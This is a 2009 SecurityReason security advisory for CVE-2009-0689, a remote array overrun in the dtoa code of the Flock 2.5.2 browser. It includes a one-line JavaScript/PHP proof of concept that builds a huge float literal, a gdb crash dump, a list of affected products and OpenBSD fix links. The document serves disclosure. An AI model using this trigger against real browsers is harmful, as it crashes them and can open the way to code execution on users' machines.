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Flock 2.5.2 Remote Array Overrun (Arbitrary code execution)

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[ Flock 2.5.2 Remote Array Overrun (Arbitrary code execution) ]

Author: Maksymilian Arciemowicz and sp3x
http://SecurityReason.com
Date:

    • Dis.: 07.05.2009
    • Pub.: 11.12.2009

CVE: CVE-2009-0689
CWE: CWE-119
Risk: High
Remote: Yes

Affected Software:

    • Flock 2.5.2

Fixed in:

    • Flock 2.5.5

NOTE: Prior versions may also be affected.

Original URL:
http://securityreason.com/achievement_securityalert/75

  • — 0.Description —
    Flock is a web browser built on Mozilla.s Firefox codebase that specializes in providing social
    networking and Web 2.0 facilities built into its user interface. Flock v2.5 was officially released
    on May 19, 2009.

The Flock browser is available as a free download, and supports Microsoft Windows, Mac OS X, and
Linux platforms.

  • — 1. Flock 2.5.2 Remote Array Overrun (Arbitrary code execution) —
    The main problem exist in dtoa implementation. Flock has the same dtoa as Firefox, SeaMonkey,
    Chrome, Opera etc.
    and it is the same like SREASONRES:20090625.

http://securityreason.com/achievement_securityalert/63

but fix for SREASONRES:20090625, used by openbsd was not good.
More information about fix for openbsd and similars SREASONRES:20091030,

http://securityreason.com/achievement_securityalert/69

We can create any number of float, which will overwrite the memory. In
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and
it is possible to call 16<= elements of freelist array.

  • — 2. Proof of Concept (PoC) —

<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script>


Program received signal SIGSEGV, Segmentation fault.
0x67c68740 in js3250!JS_DHashTableEnumerate ()
from C:\Program Files\Flock\js3250.dll
(gdb) i r
eax 0x964619c7 -1773790777
ecx 0x2 2
edx 0x2 2
ebx 0x2 2
esp 0x20e7f0 0x20e7f0
ebp 0x1 0x1
esi 0x299d700 43636480
edi 0x299d701 43636481
eip 0x67c68740 0x67c68740 <js3250!JS_DHashTableEnumerate+288>
eflags 0x210202 [ IF RF ID ]
cs 0x1b 27
ss 0x23 35
ds 0x23 35
Es 0x23 35
fs 0x3b 59
gs 0x0 0

(gdb) x/i 0x67c68740
0x67c68740 <js3250!JS_DHashTableEnumerate+288>:
mov 0x67ce0458(,%edi,4),%eax
(gdb) x/x $eax
0x964619c7: Cannot access memory at address 0x964619c7

  • — 3. SecurityReason Note —
    Officialy SREASONRES:20090625 has been detected in:
    • OpenBSD
    • NetBSD
    • FreeBSD
    • MacOSX
    • Google Chrome
    • Mozilla Firefox
    • Mozilla Seamonkey
    • Mozilla Thunderbird
    • Mozilla Sunbird
    • Mozilla Camino
    • KDE (example: konqueror)
    • Opera
    • K-Meleon
    • F-Lock

This list is not yet closed.

OpenBSD fix:
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c

  • — 5. Credits —
    Discovered by sp3x and Maksymilian Arciemowicz from SecurityReason.com.

  • — 6. Greets —
    Infospec p_e_a pi3

  • — 7. Contact —
    Email:

    • cxib {a.t] securityreason [d0t} com
    • sp3x {a.t] securityreason [d0t} com

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